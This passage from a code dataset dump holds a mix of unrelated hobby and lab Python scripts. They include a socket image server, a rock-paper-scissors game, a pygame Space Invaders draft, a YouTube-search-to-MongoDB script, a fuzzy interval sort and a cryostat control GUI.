indVars_prescribed=indVars, indVars_actual=indVars.copy(), data=indVars.copy(), sigsq=1.0, weight=1.0, detrend=detrend.detrend ))\n\nmeasurements[0].instruments.append( instruments[0] )\n\nsignalTypes = []\nsignalTypes.append( SignalType(forwardModel=fmods[0],measurement=measurements[0]) )\n\n# define objectives\nobjectives = []\nobjectives.append( Objective( post=postProcessors.f1 ) )\n\nobjectives[0].measurements.append( measurements[0] )\n\nopts = []\nopts.append(OptMC(aws_id=aws_id,aws_key=aws_key,bucket=bucket))\nopts.append(OptMCMC(aws_id=aws_id,aws_key=aws_key,bucket=bucket))\nopts.append(OptGD(aws_id=aws_id,aws_key=aws_key,bucket=bucket))\nsession.add_all(opts)\n\nopts[0].objectives+=objectives\nopts[0].pxds+=pxds\nopts[1].objectives+=objectives\nopts[1].pxds+=pxds\nopts[2].objectives+=objectives\nopts[2].pxds+=pxds\n\n\nopts[0].parameters=opts[0].random_parameterization()\nopts[1].parameters=opts[0].parameters\nopts[2].parameters=opts[0].parameters\n\nopts[1].create_chain(5,runLocal=forwardModels.rosenbrock)\nopts[2].create_chain(5,runLocal=forwardModels.rosenbrock)\n\nsession.commit()\n\ntimes = np.zeros([0,7],dtype='float')\npickle.dump(times,open('times.pkl','wb'))\n","sub_path":"scripts/rosenbrock/initialize.py","file_name":"initialize.py","file_ext":"py","file_size_in_byte":2969,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"399006035","text":"import socket\nimport threading\nimport cv2\nimport numpy as np\n\nclass SocketHandler:\n def __init__(self, on_data, on_image):\n self.lt = threading.Thread(target=self.handle_connections, daemon=True)\n \n self.on_data = on_data\n self.on_image = on_image\n self.s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n \n self.s.bind((\"\", 16505))\n self.s.listen(5)\n \n \n def start_listeners(self):\n self.lt.start()\n \n \n def handle_connections(self):\n while True:\n (cs, addr) = self.s.accept()\n \n data = cs.recv(5000000)\n \n header = \"\"\n str_data = \"\"\n \n for b in data:\n header = header + chr(b)\n if chr(b) == \"}\":\n break\n \n if header[len(header) - 4:len(header) - 1] == \"IMG\":\n data = data[len(header):len(data)]\n data = np.fromstring(data, np.uint8)\n image = cv2.imdecode(data, cv2.IMREAD_COLOR)\n r = self.on_image(header, image)\n cs.send(self.on_image(header, image).encode(\"utf-8\"))\n else:\n str_data = data.decode(\"utf-8\")\n r = self.on_data(str_data)\n \n if not r[1]:\n cs.send(r[0].encode(\"utf-8\"))\n else:\n cs.send(r[0])\n \n cs.close()\n \ndef picture_to_data(img):\n return b\"IMG:\" + cv2.imencode('.jpg', img)[1].tostring()\n \n","sub_path":"Server/ServerSockets.py","file_name":"ServerSockets.py","file_ext":"py","file_size_in_byte":1613,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"524397236","text":"# Ear Training App\n# Developed by Sylwester Stremlau\n# 2018\n# University of West London\n\nimport cx_Freeze\n\nexecutables = [cx_freeze.Executable(\"main.py\")]\n\ncx_freeze.setup(\n name = \"Ear Training App\",\n options = {\"build_exe\": {\"packages\":[\"pygame\"],\n \"included_files\":[]}}\n)\n","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":308,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"68925435","text":"# -*- coding: utf-8 -*-\nimport sys\nsys.setrecursionlimit(10**9)\nINF=10**18\nMOD=10**9+7\ninput=lambda: sys.stdin.readline().rstrip()\nYesNo=lambda b: bool([print('Yes')] if b else print('No'))\nYESNO=lambda b: bool([print('YES')] if b else print('NO'))\nint1=lambda x:int(x)-1\n\nX=int(input())\nif X>=1800:\n print(1)\nelif X>=1600:\n print(2)\nelif X>=1400:\n print(3)\nelif X>=1200:\n print(4)\nelif X>=1000:\n print(5)\nelif X>=800:\n print(6)\nelif X>=600:\n print(7)\nelif X>=400:\n print(8)","sub_path":"Python_codes/p02600/s244835700.py","file_name":"s244835700.py","file_ext":"py","file_size_in_byte":498,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"495168324","text":"#This is a python program for the game Rock, Paper, Scissors\nimport random\n\n# Gets player's name\t\ndef playerName():\n\tname = input(\"Please enter your name\\n\")\n\treturn name\n\t\n# Welcomes the user\ndef welcomeMessage(name):\n\tprint (\"Hello \" + name + \"! Welcome to the game Rock, Paper, Scissors! Good luck!\\n\")\n\n# Gets player's choice\t\ndef playerChoice():\n\tplayChoice = input(\"Please enter Rock, Paper, or Scissors, or Done if your finished\\n\")\n\t\n\tplayChoice.lower()\n\t\n\t# Loops until player chooses acceptable option\n\twhile playChoice != \"rock\" and playChoice != \"paper\" and playChoice != \"scissors\" and playChoice != \"done\":\n\t\tplayChoice = input(\"Please enter Rock, Paper, or Scissors, or Done if your finish\\n\")\n\t\tplayChoice.lower()\n\t\n\treturn playChoice\n\n# Generates computer's choice\t\ndef computerChoice():\n\t\n\t# Generates random number\n\tselectionNum = random.randint(1,3)\n\t\n\t# Selects choice based on random number\n\tif selectionNum == 1:\n\t\tprint (\"Computer choose rock\")\n\t\tcomChoice = \"rock\"\n\t\t\n\tif selectionNum == 2:\n\t\tprint (\"Computer choose paper\")\n\t\tcomChoice = \"paper\"\n\t\t\n\tif selectionNum == 3:\n\t\tprint (\"Computer choose scissors\")\n\t\tcomChoice = \"scissors\"\n\t\t\n\treturn comChoice\n\t\t\n\n# Determines the winner of round\ndef winner(playChoice, comChoice):\n\n\t\t# Compares user's choice and computer's choice to determine winner\n\t\tif playChoice == \"rock\" and comChoice == \"scissors\":\n\t\t\tprint (\"The user wins!\\n\")\n\t\t\tresult = \"userWins\"\n\t\t\t\n\t\tif playChoice == \"rock\" and comChoice == \"paper\":\n\t\t\tprint (\"The computer wins\\n\")\n\t\t\tresult = \"computerWins\"\n\t\t\t\n\t\tif playChoice == \"scissors\" and comChoice == \"paper\":\n\t\t\tprint (\"The user wins!\\n\")\n\t\t\tresult = \"userWins\"\n\t\t\t\n\t\tif playChoice == \"scissors\" and comChoice == \"rock\":\n\t\t\tprint (\"The computer wins!\\n\")\n\t\t\tresult = \"computerWins\"\n\t\t\t\n\t\tif playChoice == \"paper\" and comChoice == \"scissors\":\n\t\t\tprint (\"The computer wins!\\n\")\n\t\t\tresult = \"computerWins\"\n\t\t\t\n\t\tif playChoice == \"paper\" and comChoice == \"rock\":\n\t\t\tprint (\"The user wins!\\n\")\n\t\t\tresult = \"userWins\"\n\t\t\n\t\tif playChoice == comChoice:\n\t\t\tprint (\"It's a tie!\\n\")\n\t\t\tresult = \"ties\"\n\t\t\t\n\t\t# Returns result to main\n\t\treturn result\n\n# Displays information regarding the total number of wins, ties, and games played\t\t\ndef scoreboard(computerWins, userWins, ties, gamesPlayed):\n\tprint (\"The computer won \" + str(computerWins) + \" times\\n\")\n\tprint (\"The user won \" + str(userWins) + \" times\\n\")\n\tprint (\"The two players tied \" + str(ties) + \" times\\n\")\n\tprint (\"Altogether \" + str(gamesPlayed) + \" games were played\\n\")\n\ndef main():\t\n\t# Calls method to get players name\n\tname = playerName()\n\t# Calls method to welcome the player\n\twelcomeMessage(name)\n\n\t# Sets variables to 0\n\tuserChoice = None\n\tcomputerWins = 0\n\tuserWins = 0\n\tties = 0\n\tgamesPlayed = 0\n\n\t# Loops the main functions of the game\n\twhile userChoice != \"done\":\n\t\tuserChoice = playerChoice()\n\t\tif userChoice != \"done\":\n\t\t\tcomChoice = computerChoice()\n\t\t\tresult = winner(userChoice, comChoice)\n\t\t\tgamesPlayed += 1\n\t\n\t\t\tif result == \"userWins\": \n\t\t\t\tuserWins += 1\n\t\t\t\n\t\t\tif result == \"computerWins\": \n\t\t\t\tcomputerWins += 1\n\t \n\t\t\tif result == \"ties\":\n\t\t\t\tties += 1\n\n\t# Calls method that displays the results\n\tscoreboard(computerWins, userWins, ties, gamesPlayed)\n\t\t\nmain()","sub_path":"rockPaperScissors.py","file_name":"rockPaperScissors.py","file_ext":"py","file_size_in_byte":3233,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"96737694","text":"#COLORES: RGB(rojo, verde, azul)\n\nimport pygame#.sys\nfrom pygame.locals import *\nfrom random import randint\n\nBlanco= (255,255,255)\nRojo= (255, 0, 0)\nVerde= (0, 255, 0)\nAzul= (0,0, 255)\nAzulMarino= (0, 0, 50)\nNegro= (0,0,0)\nColor2= pygame.Color(255, 120, 9)\n\nTamanioX, TamanioY= 900, 700\nnumInvaders = randint(10, 50)\nmiFuente= miFuente\nnumLevel= miFuente.render(\"Prueba fuente\", 0, (255,255,255))\n\npygame.init ()\nventana = pygame.display.set_mode((TamanioX,TamanioY))\npygame.display.set_caption(\"Space Invaders\") #Nombre de la ventana\n\n#Cargar imagen\nspaceInvader= pygame.image.load(\"imagenes/spaceInvaders.png\")\nbulbasaur= pygame.image.load(\"imagenes/bulbasaur.png\")\ncohete= pygame.image.load(\"imagenes/cohete.png\")\n\nposX, posY= 100, 70 #randint(0,TamanioX), randint(0, TamanioY)\nposXC, posYC= (int)(TamanioX/2), (TamanioY-100)\nvelocidad, velBulbasaur, velCohete = 2, 20, 5\nmovement= False\n\ninvadersPositions = []\n\nposAux= [posX, posY]\n\n\nfor i in range(0, numInvaders):\n if posAux[0]< (TamanioX-60):\n invadersPositions= invadersPositions+ posAux\n posAux[0]+= 70\n #print (\"HOLAAAA\")\n #print (invadersPositions, numInvaders, posAux)\n else:\n posAux[0],posAux[1]=100, posAux[1]+100\n #print (\"CHAOOOO\")\n #print (invadersPositions, numInvaders)\n\nprint (invadersPositions, numInvaders)\n\ndef creationMap (color, posAuxX, posAuxY):\n #Colorear la ventana\n ventana.fill(color)\n #ventana.fill(Color2)\n\n #Incluye la imagen en la ventana siendo x e y la esquina superior izda\n for i in range(len(invadersPositions)):\n if i%2==0:\n posAuxX=invadersPositions[i]\n else:\n posAuxY=invadersPositions[i]\n ventana.blit(spaceInvader, (posAuxX,posAuxY))\n\n\n\n\n#loop para el juego\nwhile True:\n creationMap(AzulMarino, posX, posY)\n\n ventana.blit(bulbasaur, (posXC, posYC))\n #Cuando el usuario presiona la X superior derecha se termina el programa\n for evento in pygame.event.get():\n if evento.type== QUIT:\n pygame.quit()\n sys.exit()\n\n #Mover imagen con el teclado\n elif evento.type == pygame.KEYDOWN:\n if evento.key== K_LEFT:\n if posXC>10:\n posXC-= velBulbasaur\n elif evento.key == K_RIGHT:\n if posXC<(TamanioX-100):\n posXC+= velBulbasaur\n elif evento.key == K_UP:\n posXCo=posXC\n posYCo=posYC\n movement= True\n #elif evento.key == K_DOWN:\n # posYC+= velocidad2\n\n#mueve el objeto hacia la derecha e izquierda hasta que llega al final del tablero\n #print (posX, derecha, TamanioX)\n if movement == True:\n if posYCo>-100:\n ventana.blit(cohete, (posXCo, posYCo))\n posYCo-= velCohete\n else:\n movement=False\n\n\n #uso del cursor\n #posXC, posYC= pygame.mouse.get_pos()\n\n #Actualiza lo que esta pasando en la ventana\n pygame.display.update()\n","sub_path":"Python/Snake/game.py","file_name":"game.py","file_ext":"py","file_size_in_byte":3006,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"447166234","text":"# Copyright (c) 2019 Kyle Lopin (Naresuan University) \n\n\"\"\"\nFunctions to make data sets that are to be analyzed\n\"\"\"\n\n# installed libraries\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport pandas as pd\n# import statsmodels.api as sm\n# local files\nimport helper_functions as funcs\n\nplt.style.use('seaborn')\n\n__author__ = \"Kyle Vitatus Lopin\"\n\n# plt.xkcd()\n\nas7262_files = funcs.get_all_files_with_stub('as7262', 'mango_data')\nprint(as7262_files)\n# background = [250271, 176275, 216334, 219763, 230788, 129603]\nall_data = None\nstarting = True\n\nfor file in as7262_files:\n print(file)\n try:\n file_data = pd.read_excel(file, sheet_name=\"Sheet1\")\n except:\n file_data = pd.read_excel(file, sheet_name=\"Sheet2\")\n if starting:\n all_data = file_data\n starting = False\n else:\n print('appending')\n all_data = all_data.append(file_data)\n # print(all_data)\n\nprint('=========')\nprint(all_data)\n\naverage_data = all_data.groupby('Leaf number', as_index=True).mean()\n\nprint('++++++')\nprint(average_data)\n\nchloro_data_filename = funcs.get_all_files_with_stub('absorbance', 'mango_data')[0]\nchlor_data = pd.read_excel(chloro_data_filename, sheet_name='Summary')\nprint(chlor_data)\n# print(chlor_data.index)\n# print(chlor_data)\nchlor_data['leaf number:'] = 'Leaf: ' + chlor_data['Leaf number'].astype(str)\nprint(chlor_data.columns)\n# chlor_data.rename(columns={'leaf number:', 'Leaf number'}, inplace=True)\n# chlor_data.rename(columns={'Leaf number', 'leaf number:'}, inplace=True)\nchlor_data['Leaf number'] = chlor_data['leaf number:']\ndel chlor_data['leaf number:']\nchlor_data.set_index('Leaf number', inplace=True)\nprint(chlor_data)\n\n\n# average_data.insert(len(average_data.columns),)\n# total_data = average_data.merge(chlor_data, left_index=True, right_index=True)\n#total_data\n\nprint(chlor_data.columns)\nfor _data in chlor_data.columns:\n average_data[_data] = chlor_data[_data]\n# pd.set_option('display.max_columns', 500)\nprint('===========')\nprint(average_data)\nprint(average_data.columns)\n\ndata_columns = ['450.1', '500.1', '550.1', '570.1', '600.1', '650.1']\nchloro_columns = ['Chlorophyll a (ug/ml)', 'Chlorophyll b (ug/ml)',\n 'Total Chlorophyll (ug/ml)']\ny_name = 'Total Chlorophyll (ug/ml)'\n\ndata = pd.DataFrame()\n\n\ndef reg_m(_y, _x):\n ones = np.ones(len(_x))\n _X = sm.add_constant(np.column_stack((_x, ones)))\n _results = sm.OLS(_y, _X).fit()\n return _results\n\n\n# for data_column in data_columns:\ndef fit_n_plot_data(data_column, axis, add_xlabel, figure_letter,\n _background):\n # average_data.plot.scatter(data_column, y_name)\n y = average_data[y_name]\n print('y = ', y)\n # y = y / _background\n # print('y = ', y )\n x = average_data[data_column]\n print('x = ', x)\n x = x / _background\n print('x = ', x)\n\n results = reg_m(y, x)\n r_sq_adj = results.rsquared_adj\n print(results.params)\n fitted_x = (average_data[data_column] * results.params.x1 +\n results.params.const)\n fitted_y = results.predict()\n\n axis.plot(x, y, 'o', color='mediumseagreen', markersize=4)\n axis.plot(x, fitted_y, color='rebeccapurple')\n axis.annotate(u\"R_adj\\u00B2 =\\n{:.3f}\".format(r_sq_adj), xy=(0.7, 0.8),\n xycoords='axes fraction', color='#101028')\n axis.annotate(figure_letter, xy=(-.2, .98),\n xycoords='axes fraction', size=19,\n weight='bold')\n wavelength = data_column.split('.')[0]\n # axis.set_xlabel(\"counts\".format(wavelength))\n # axis.set_title(\"{0} nm measurement\".format(wavelength))\n axis.set_ylabel(y_name)\n print(wavelength)\n axis.title.set_text(\"{0} nm sensor channel\".format(wavelength))\n axis.set_ylim([0., 1.1])\n if add_xlabel:\n print('add y lable:', add_xlabel)\n axis.set_xlabel('Reflectance')\n\n\nfigure, axes, = plt.subplots(3, 2, figsize=(7.5, 8.75), constrained_layout=True)\nprint(axes)\nfigure.suptitle(\"{0} \".format(y_name.split('(')[0]), size=28,\n fontname='Franklin Gothic Medium')\naxes = [axes[0][0], axes[0][1], axes[1][0],\n axes[1][1], axes[2][0], axes[2][1]]\nletters = ['A', 'B', 'C', 'D', 'E', 'F']\nfor i, data_column in enumerate(data_columns):\n print(axes[i])\n print(data_column)\n print('fitting')\n fit_n_plot_data(data_column, axes[i], (i >= 4), letters[i], background[i])\n\n\n# plt.tight_layout(0.5)\nplt.show()\n\n\n\n# sorted_data = average_data.sort_values(by=['Total Chlorophyll (ug/ml)'])\n# # pd.set_option('display.max_columns', 500)\n# print(sorted_data['Total Chlorophyll (ug/ml)'])\n# print(sorted_data.index)\n\n","sub_path":"data_maker.py","file_name":"data_maker.py","file_ext":"py","file_size_in_byte":4640,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"369295944","text":"import numpy as np\nimport cv2\nfrom matplotlib import pyplot as plt\nimport skimage\nfrom skimage import exposure, morphology, color\n\nfrom handlers import normalize_hist, quantize, remove_small_areas, get_channel\n\n\"\"\"\n Здесь массивы функций - способы обработки изображений\n каждая функция на верхнем уровне должна удовлетворять 2 требованиям:\n 1. Принимать изображение и возвращать изображение, которое ожидает принять следующая функция;\n 2. Возвращать изображение, которе может быть отображено с помощью utils -> view\n\n Для вложенных массивов условие 2 необязательно, но условие 1 необходимо выполнять\n\"\"\"\n\n\"\"\"\nПопытка 1\n1. Квантование\n2. Расширение гистограммы (маловажно)\n3. Перевод в градации серого\n4. Адаптивная бинаризация\n5. Удаление мелких объектов и дыр\n\nВывод: при семешении 3 каналов в градации серого теряется очень много информации\nНужно работать с каждым цветовым каналом отдельно\n\"\"\"\neffort1 = [\n lambda img: quantize(img, 5),\n lambda img: normalize_hist(img),\n lambda img: cv2.cvtColor(img, cv2.COLOR_RGB2GRAY),\n lambda img: cv2.adaptiveThreshold(img, 255, cv2.ADAPTIVE_THRESH_GAUSSIAN_C, cv2.THRESH_BINARY, 11, 2),\n [\n lambda img: morphology.remove_small_objects(img.astype(bool)),\n lambda img: morphology.remove_small_holes(img),\n lambda img: skimage.img_as_ubyte(img)\n ]\n]\n\n\n\"\"\"\nПопытка 2\n1. Квантование\n2. Расширение гистограммы (маловажно)\n3. Разделение по цветовым каналам\n4. Адаптивная бинаризация (для каждого канала)\n5. Удаление мелких объектов и дыр (для каждого канала)\n\"\"\"\n\n\ndef effort2(channel: str):\n return [\n lambda img: quantize(img, 5),\n lambda img: normalize_hist(img),\n lambda img: get_channel(img, channel),\n # lambda img: cv2.adaptiveThreshold(img, 255, cv2.ADAPTIVE_THRESH_GAUSSIAN_C, cv2.THRESH_BINARY, 11, 2),\n # lambda img: remove_small_areas(img)\n ]\n","sub_path":"src/history.py","file_name":"history.py","file_ext":"py","file_size_in_byte":2574,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"485096797","text":"\r\nfrom googleapiclient.discovery import build\r\nfrom pymongo import MongoClient\r\n\r\nDEVELOPER_KEY = 'Youtube_developer_API' #add your API Key\r\nYOUTUBE_API_SERVICE_NAME = 'youtube'\r\nYOUTUBE_API_VERSION = 'v3'\r\n\r\n#starting a connection to MongoDB database server\r\nmyclient = MongoClient(\"mongodb://localhost:27017/\")\r\nmydb = myclient[\"DB_search\"]\r\n\r\n#Creating collections\r\ncol_video = mydb[\"Video\"]\r\ncol_channel = mydb[\"Channel\"]\r\ncol_playlist = mydb[\"Playlist\"]\r\n\r\n\r\ndef YoutubeAPI(query, max_results):\r\n \r\n \r\n youtube = build(YOUTUBE_API_SERVICE_NAME, YOUTUBE_API_VERSION,\r\n developerKey=DEVELOPER_KEY)\r\n \r\n search_response = youtube.search().list(\r\n q=query,\r\n part='id,snippet',\r\n maxResults=max_results\r\n ).execute()\r\n del youtube\r\n \r\n results = search_response.get('items', [])\r\n del search_response\r\n \r\n videos = []\r\n channels = []\r\n playlists = []\r\n \r\n for search_result in results:\r\n \r\n if search_result['id']['kind'] == 'youtube#video':\r\n videos.append('%s (%s)' % (search_result['snippet']['title'],\r\n search_result['id']['videoId']))\r\n \r\n elif search_result['id']['kind'] == 'youtube#channel':\r\n channels.append('%s (%s)' % (search_result['snippet']['title'],\r\n search_result['id']['channelId']))\r\n \r\n elif search_result['id']['kind'] == 'youtube#playlist':\r\n playlists.append('%s (%s)' % (search_result['snippet']['title'],\r\n search_result['id']['playlistId']))\r\n \r\n del results \r\n print ('Videos:\\n', '\\n'.join(videos), '\\n')\r\n print ('Channels:\\n', '\\n'.join(channels), '\\n')\r\n print ('Playlists:\\n', '\\n'.join(playlists), '\\n')\r\n \r\n # saving extracted data to MongoDB database\r\n list_ = []\r\n for s in videos:\r\n \r\n text = s.split('(')\r\n link = text [-1][:-1]\r\n text_find = s.find(link)-1\r\n full_link = \"https://www.youtube.com/watch?v=\" + link\r\n print('Video Title:', s[:text_find] ,'\\n')\r\n print('Video Link:', full_link ,'\\n')\r\n mydict = { \"Video Title\": s[:text_find], \"Video Link\": full_link }\r\n list_.append(mydict)\r\n \r\n col_video.insert_many(list_)\r\n del videos\r\n \r\n liste_ = [] \r\n for s in channels: \r\n \r\n text = s.split('(')\r\n link = text [-1][:-1]\r\n text_find = s.find(link)-1\r\n full_link = \"https://www.youtube.com/channel/\" + link\r\n print('Channel Title:', s[:text_find] ,'\\n')\r\n print('Channel Link:', full_link ,'\\n')\r\n \r\n mydict = { \"Channel Title\": s[:text_find], \"Channel Link\": full_link }\r\n liste_.append(mydict)\r\n \r\n col_channel.insert_many(liste_) \r\n del channels \r\n \r\n liste_ = [] \r\n for s in playlists: \r\n \r\n text = s.split('(')\r\n link = text [-1][:-1]\r\n text_find = s.find(link)-1\r\n full_link = \"https://www.youtube.com/watch?v=WW2DKBGCvEs&list=\" + link\r\n print('Playlist Title:', s[:text_find] ,'\\n')\r\n print('Playlist Link:', full_link ,'\\n')\r\n \r\n mydict = { \"Playlist Title\": s[:text_find], \"Playlist Link\": full_link }\r\n liste_.append(mydict)\r\n \r\n col_playlist.insert_many(liste_) \r\n del playlists\r\n \r\n print(\"MongoDB Data saved\")\r\n\r\n\r\n\r\nif __name__ == '__main__':\r\n\r\n max_results = 50\r\n query = \"Youtube\"\r\n \r\n YoutubeAPI(query, max_results)\r\n \r\n","sub_path":"YoutubeAPI.py","file_name":"YoutubeAPI.py","file_ext":"py","file_size_in_byte":4540,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"2086224","text":"\"\"\"问题描述: \n * 考虑这样的一种排序问题,即无法准确地知道待排序的各个数字到底是多少。对于其中的每个数字, \n * 我们只知道它落在实轴上的某个区间内。亦即,给定的是n个形如[a(i), b(i)]的闭区间(这里小括 \n * 后起下标的作用,后同),其中a(i) <= b(i)。算法的目标是对这些区间进行模糊排序 \n * (fuzzy-sort),亦即,产生各区间的一个排列,使得存在一个c(j)属于 \n * 区间[a(i(j)), b(i(j))],满足c(1) <= c(2) <= c(3) <= ... <= c(n)。 \n * a) 为n个区间的模糊排序设计一个算法。你的算法应该具有算法的一般结构,它可以快速排序左部 \n * 端点(即各a(i)),也要能充分利用重叠区间来改善运行时间。(随着各区间重叠得越来越多, \n * 对各区间进行模糊排序的问题会变得越来越容易。你的算法应能充分利用这种重叠。) \n * b) 证明:在一般情况下,你的算法的期望运行时间为Θ(nlgn),但当所有的区间都重叠时,期望的 \n * 运行时间为Θ(n)(亦即,当存在一个值x,使得对所有的i,都有x∈[a(i), b(i)])。你的算法 \n * 不应显式地检查这种情况,而是应随着重叠量的增加,性能自然地有所改善。\n\n http://courses.csail.mit.edu/6.046/spring04/handouts/ps2-sol.pdf \n \"\"\"\nimport random\nfrom util import Interval \n\n\ndef compareInterval(interval1, interval2):\n\t\"\"\"\n\tif [interval1] < [interval2] is True, return True\n\tif [interval1] > [interval2] is True, return False\n\tif [interval1] and [interval2] has overlap, return None, as they are equal\n\n\tIn the question, we assume no interval is completely contained in another interval\n\n\t\"\"\"\n\tif interval1.end < interval2. start:\n\t\treturn True\n\tif interval1.start > interval2.end:\n\t\treturn False\n\tif interval1.end >= interval2.start or interval1.start >= interval2.end:\n\t\treturn None\n\ndef merge(interval1, interval2):\n\t\"\"\"\n\tinterval1 and interval2 must have overlap\n\t\"\"\"\n\tif interval1.start > interval2.end or interval2.start > interval1.end:\n\t\t#print('wront intervals, cannot merge')\n\t\treturn None\n\tmergedInterval = Interval(min(interval1.start, interval2.start), max(interval1.end, interval2.end))\n\treturn mergedInterval\n\n#testcase:\n# merge(Interval(1, 2), Interval(3,4))\n# merge(Interval(1,3), Interval(2,4)).printInterval( )\n# merge(Interval(2,4), Interval(1,3)).printInterval( )\n\ndef swap(intervals, index1, index2):\n\tintervals[index1], intervals[index2] = intervals[index2], intervals[index1]\n\n\ndef partition(intervals, p, q):\n\tpivot = random.choice(range(p, q+1))\n\tswap(intervals, pivot, q)\n\n\tpivotInterval = intervals[q]\n\tprint('Chosen pivot')\n\tpivotInterval.printInterval( )\n\tprint('sort')\n\tfor _ in intervals[p: q+1]:\n\t\t_.printInterval( )\n\tprint('********************')\n\n\tleftPointer = p - 1\n\trightPointer = p\n\tpivotPointer = q\n\n\twhile rightPointer < pivotPointer:\n\t\tif compareInterval(intervals[rightPointer], pivotInterval) == None:\n\t\t\tpivotPointer -= 1\n\t\t\tswap(intervals, rightPointer, pivotPointer)\n\t\t\tpivotInterval = merge(pivotInterval, intervals[pivotPointer]) # update pivotInterval\n\n\t\telif compareInterval(intervals[rightPointer], pivotInterval) == True:\n\t\t\t\"\"\"\n\t\t\tBecareful of the order of the following three lines\n\t\t\t\"\"\"\n\t\t\tleftPointer +=1\n\t\t\tswap(intervals, leftPointer, rightPointer)\n\t\t\trightPointer += 1\n\n\t\telif compareInterval(intervals[rightPointer], pivotInterval) == False:\n\t\t\trightPointer += 1\n\n\t\tfor _ in intervals:\n\t\t\t_.printInterval( )\n\t\t\t\n\t\tprint (\"@@@@@@@@@@@@@@@@@\")\n\n\t# Put the pivots back\n\ttmpIndex = q\n\ttmpIndex2 = leftPointer+1\n\n\twhile tmpIndex >= pivotPointer:\n\t\tswap(intervals, tmpIndex, tmpIndex2)\n\t\tfor _ in intervals:\n\t\t\t_.printInterval( )\n\t\ttmpIndex -= 1\n\t\ttmpIndex2 += 1\n\n\n\t# tmpIntervals = intervals[pivotPointer : q]\n\t# tmpIntervals2 = intervals[leftPointer+1: rightPointer]\n\n\t# del intervals[leftPointer+1: q]\n\t# intervals.extend(tmpIntervals)\n\t# intervals.extend(tmpIntervals2)\n\n\tfor _ in intervals:\n\t\t_.printInterval( )\n\tprint(\"$$$$$$$$$$$$$$$$\")\n\n\treturn leftPointer + 1, leftPointer + len(intervals) - pivotPointer + 1\n\n#test\n#_intervals = [Interval(1,2), Interval(2,3), Interval(6,7), Interval(4,5), Interval(9,10)]\n# result = partition(_intervals, 0, len(_intervals)-1)\n# print(result)\n# for _ in _intervals:\n# \t_.printInterval( )\n\n\ndef fuzzySorting(intervals, start, end):\n\t\"\"\"\n\tAt first, I used some sort of intarvals[:leftpointer] in the recursion.\n\tHowever, note that this returns a copy of the segment of intervals, it doesn't refer to the\n\toriginal intervals. To implement an in-place sort here, I finally changed the recursion \n\tfunction and added two more variables.\n\t\"\"\"\n\tif start < end:\n\t\tpivotLeft, pivotRight = partition(intervals, start, end)\n\t\tfuzzySorting(intervals, start, pivotLeft)\n\t\tfuzzySorting(intervals, pivotRight, end)\n\n_intervals = [Interval(1,2), Interval(2,3), Interval(6,7), Interval(4,5), Interval(9,10)]\t\t\nfuzzySorting(_intervals, 0, len(_intervals) -1)\nprint(\"*******end*************\")\nfor _ in _intervals:\n\t_.printInterval( )\n\n#test\n\n\n\n\n\n","sub_path":"FuzzySorting.py","file_name":"FuzzySorting.py","file_ext":"py","file_size_in_byte":5097,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"130037167","text":"\"\"\" -----------------------------------------------------------------------------------\n Main Module of the Cryostat-GUI built for a custom setup PPMS at TU Wien, Austria\n (Technical University of Vienna, Austria)\n The cryostat is an Oxford Spectromag, controlled by:\n - Oxford:\n - Intelligent Temperature Controller (ITC) 503\n - Intelligent Level Meter (ILM) 211\n - Intelligent Power Supply (IPS) 120-10\n - LakeShore 350 Temperature Controller\n Measurements will be performed with:\n - Keithley:\n - 2182A Nanovoltmeter (x3)\n - 6221 Current Source (AC and DC)\n - DMM7510 7 1/2 Digital Multimeter\n - 2700 Multimeter / Data Acquisition System\n Classes:\n mainWindow:\n The main GUI class for the PyQt application\n Author(s):\n bklebel (Benjamin Klebel)\n adtera\n Acronis\n----------------------------------------------------------------------------------------\n\"\"\"\n\nfrom PyQt5 import QtWidgets # , QtGui\n# from PyQt5.QtCore import QObject\nfrom PyQt5.QtCore import QThread\nfrom PyQt5.QtCore import pyqtSignal\nfrom PyQt5.QtCore import pyqtSlot\nfrom PyQt5.QtCore import QTimer\n# from PyQt5.QtWidgets import QtAlignRight\nfrom PyQt5.uic import loadUi\n\nimport sys\nimport time\nimport datetime\nfrom threading import Lock\nimport numpy as np\nfrom copy import deepcopy\nimport sqlite3\n\n\nfrom Oxford.ITC_control import ITC_Updater\nfrom Oxford.ILM_control import ILM_Updater\nfrom Oxford.IPS_control import IPS_Updater\nfrom LakeShore.LakeShore350_Control import LakeShore350_Updater\n\nfrom pyvisa.errors import VisaIOError\n\nfrom logger import main_Logger, live_Logger\nfrom logger import Logger_configuration\nfrom util import Window_ui, Window_plotting\n\n\nITC_Instrumentadress = 'ASRL6::INSTR'\nILM_Instrumentadress = 'ASRL5::INSTR'\nIPS_Instrumentadress = 'ASRL4::INSTR'\nLakeShore_InstrumentAddress = 'GPIB0::1::INSTR'\n\n\ndef convert_time(ts):\n \"\"\"converts timestamps from time.time() into reasonable string format\"\"\"\n return datetime.datetime.fromtimestamp(ts).strftime('%Y-%m-%d %H:%M:%S')\n\n\nclass mainWindow(QtWidgets.QMainWindow):\n \"\"\"This is the main GUI Window, where other windows will be spawned from\"\"\"\n\n sig_arbitrary = pyqtSignal()\n sig_logging = pyqtSignal(dict)\n sig_logging_newconf = pyqtSignal(dict)\n sig_running_new_thread = pyqtSignal()\n\n def __init__(self, app, **kwargs):\n super().__init__(**kwargs)\n loadUi('.\\\\configurations\\\\Cryostat GUI.ui', self)\n # self.setupUi(self)\n self.threads = dict()\n self.data = dict()\n self.logging_bools = dict()\n\n self.logging_running_ITC = False\n self.logging_running_logger = False\n\n 